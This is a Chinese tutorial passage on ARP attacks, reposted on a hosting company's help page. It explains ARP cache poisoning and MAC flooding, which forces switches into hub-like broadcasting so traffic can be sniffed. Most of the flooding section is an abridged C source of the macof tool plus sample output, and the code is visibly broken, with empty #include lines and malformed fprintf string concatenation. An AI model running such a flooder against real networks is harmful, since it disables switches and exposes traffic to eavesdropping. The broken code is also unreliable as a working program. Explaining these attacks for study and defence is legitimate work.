始创于2000年 股票代码:831685
咨询热线:0371-60135900 注册有礼 登录
  • 挂牌上市企业
  • 60秒人工响应
  • 99.99%连通率
  • 7*24h人工
  • 故障100倍补偿
您的位置: 网站首页 > 帮助中心>文章内容

战术攻防之近距离搏击篇(ARP)攻击(2)

发布时间:  2012/7/5 10:09:04
 二、 攻击分类

◆ARP缓存中毒

这是个非常有意思的标题—“中毒”,这能让我联想到霉绿色的空气和腐锈的红色河水,毕竟地球区域生态环境令人担心?。

ARP缓存中毒其实质并没有字面含义那么可怕。还记得前面所提高过ARP缓存表的概念吧,事实上每个网络设备都有一个APR表,其中临时记录着匹配的设备MAC和IP地址映射对。它保证这些记录具有唯一性,即一个IP只单独映射一个MAC。又由于ARP本身不具备认证信任机制,因此欺骗行为变的泛滥。当网络设备发送ARP REQUEST时,它完全相信ARP REPLY回应是来自于正确设备,因为它不能验证回应数据包是否确切从正确的设备发送的。更糟糕的是,许多操作系统并不需要发送ARP请求数据包就直接承认其他设备发送的ARP回应数据包。

这样垃圾方式的设计让入侵变的肆意,而防御却无奈了许多。假设我是一个黑帽,我知道ARP并无验证行为,而且系统不需要发送请求数据包就可接收ARP的回应数据包。我会怎么做?创建一个貌似合法的ARP REPLY数据包,其中伪造我所希望的MAC和IP地址,并发送给盲目接收此类数据包的主机系统。结果,这种方式欺骗主机使其更新我所希望的MAC-IP地址映射对。当然,我可以肆意广播这种ARP REPLY数据包,愚弄整个网络系统所有主机(?冷)。

现在你知道了ARP的一个小技巧,我们称其为:ARP缓存中毒。正是通过它,无数的发明创造出来,正如轮子的发明可以和人类登月媲美,简单的发明可以翘动地球。

◆MAC泛洪攻击(Flooding)

现在的网络结构大多数使用交换方式(Switched)结构取代早先的的广播方式(Broadcast),这样的优势在于交换机不会向每个端口无聊的推送广播风暴,它稍微智能的判断需要推送数据的端口,这让那些层在HUB方式连接的下大显神威的嗅探器(snffer)感到憋足。

然而进步的力量有时候令“安全”变的很娇嫩。交换机启用端口安全特性(Port security)需要消耗部分的CPU,当交换处理超负载后,交换机就无法处理端口安全,此时交换机陷入了HUB模式,数据被简单的广播到网络中的每台计算机中,于是窃听活动仍然可以继续。于是利用大量的伪造ARP REQUEST数据包对交换机的ARP表进行泛洪攻击(ARP缓存表中毒的典型运用),可以轻易使很多厂商交换机负荷过载(CISCO 1900和3COM superstackII就容易遭受攻击),此刻交换机处于类似HUB工作方式,因而可轻松使用包嗅探器刺探整个网络。

macof的小程序轻松了实现了这样的功能,其代码实现如下:
---------------snip-------------------
#include "config.h"
#include 
#include 
#include 
#include 
#include 
#include 
#include

#include "version.h"

extern char *ether_ntoa(struct ether_addr *);
extern struct ether_addr *ether_aton(char *);

in_addr_t Src = 0;
in_addr_t Dst = 0;
u_char *Tha = NULL;
u_short Dport = 0;
u_short Sport = 0;
char   *Intf = NULL;
int Repeat = -1;  //导致伪造MAC的无限循环

void usage(void) {
fprintf(stderr, "Version: " VERSION "\n"
"Usage: macof ");
exit(1);
}
void gen_mac(u_char *mac) {
   //产生随机MAC地址
*((in_addr_t *)mac) = libnet_get_prand(PRu32);
*((u_short *)(mac + 4)) = libnet_get_prand(PRu16);
}
int main(int argc, char *argv[]) {
int c, i;
struct libnet_link_int *llif;
char ebuf[PCAP_ERRBUF_SIZE];
u_char sha[ETHER_ADDR_LEN], tha[ETHER_ADDR_LEN];
in_addr_t src, dst;
u_short sport, dport;
u_int32_t seq;
u_char pkt[ETH_H + IP_H + TCP_H];
if (!Intf && (Intf = pcap_lookupdev(ebuf)) == NULL)
errx(1, "%s", ebuf);
if ((llif = libnet_open_link_interface(Intf, ebuf)) == 0)
errx(1, "%s", ebuf);
libnet_seed_prand();
for (i = 0; i != Repeat; i++) {  
gen_mac(sha);
   gen_mac(tha);
   src = libnet_get_prand(PRu32);
dst = libnet_get_prand(PRu32);
sport = libnet_get_prand(PRu16);
dport = libnet_get_prand(PRu16);
seq = libnet_get_prand(PRu32);
//伪造貌似合法MAC地址
libnet_build_ethernet(tha, sha, ETHERTYPE_IP, NULL, 0, pkt);
libnet_build_ip(TCP_H, 0, libnet_get_prand(PRu16), 0, 64,
  IPPROTO_TCP, src, dst, NULL, 0, pkt + ETH_H);
libnet_build_tcp(sport, dport, seq, 0, TH_SYN, 512,
   0, NULL, 0, pkt + ETH_H + IP_H);
libnet_do_checksum(pkt + ETH_H, IPPROTO_IP, IP_H);
libnet_do_checksum(pkt + ETH_H, IPPROTO_TCP, TCP_H);
if (libnet_write_link_layer(llif, Intf, pkt, sizeof(pkt)) < 0)
 errx(1, "write");
fprintf(stderr, "%s ",
 "源MAC地址:"ether_ntoa((struct ether_addr *)sha));
fprintf(stderr, "%s\n %s:%d > %s:%d\n",
 "目标MAC地址:"ether_ntoa((struct ether_addr *)tha),
 "源IP地址/端口:"libnet_host_lookup(Src, 0), sport,
 "目标IP地址/端口:"libnet_host_lookup(Dst, 0), dport);
}
exit(0);
}
-----------------snip end-----------------------------

/* 本程序的作者是Dug Songdugsong@m.org,由于这里只需要实现MAC FLOODING的攻击,所以我对程序做了精简,便于读者直观了解MAC FLOODING的攻击原理。另外,macof的最早作者是Ian Vitek,采用Perl进行编写的*/

#macof 测试
[root@hackersvr /]# macof

源MAC地址:77:6b:e1:6e:5e:8c目标MAC地址:93:2d:ed:45:f9:e3

源IP地址/端口:0.0.0.0:45702目标IP地址/端口0.0.0.0:11000

源MAC地址:84:a4:d3:57:ef:8目标MAC地址:12:56:52:42:dc:95

源IP地址/端口:0.0.0.0:16630目标IP地址/端口0.0.0.0:3031

源MAC地址:f0:9:3f:18:89目标MAC地址:1d:86:53:53:d7:f8

源IP地址/端口:0.0.0.0:15535目标IP地址/端口0.0.0.0:7466 …………

此程序伪装大量ARP回应数据包,导致交换机过载处理,因而陷入HUB方式处理数据包,Port Security特性失效。通过这种方式导致网络安全再度陷入了窃听的恐慌之中(注意:本程序只做实验用途,严禁使用于任何工作环境,否则将导致网络瘫痪或交换机硬件重置)。


本文出自:亿恩科技【www.enkj.com】

服务器租用/服务器托管中国五强!虚拟主机域名注册顶级提供商!15年品质保障!--亿恩科技[ENKJ.COM]

  • 您可能在找
  • 亿恩北京公司:
  • 经营性ICP/ISP证:京B2-20150015
  • 亿恩郑州公司:
  • 经营性ICP/ISP/IDC证:豫B1.B2-20060070
  • 亿恩南昌公司:
  • 经营性ICP/ISP证:赣B2-20080012
  • 服务器/云主机 24小时售后服务电话:0371-60135900
  • 虚拟主机/智能建站 24小时售后服务电话:0371-60135900
  • 专注服务器托管17年
    扫扫关注-微信公众号
    0371-60135900
    Copyright© 1999-2019 ENKJ All Rights Reserved 亿恩科技 版权所有  地址:郑州市高新区翠竹街1号总部企业基地亿恩大厦  法律顾问:河南亚太人律师事务所郝建锋、杜慧月律师   京公网安备41019702002023号
      0
     
     
     
     

    0371-60135900
    7*24小时客服服务热线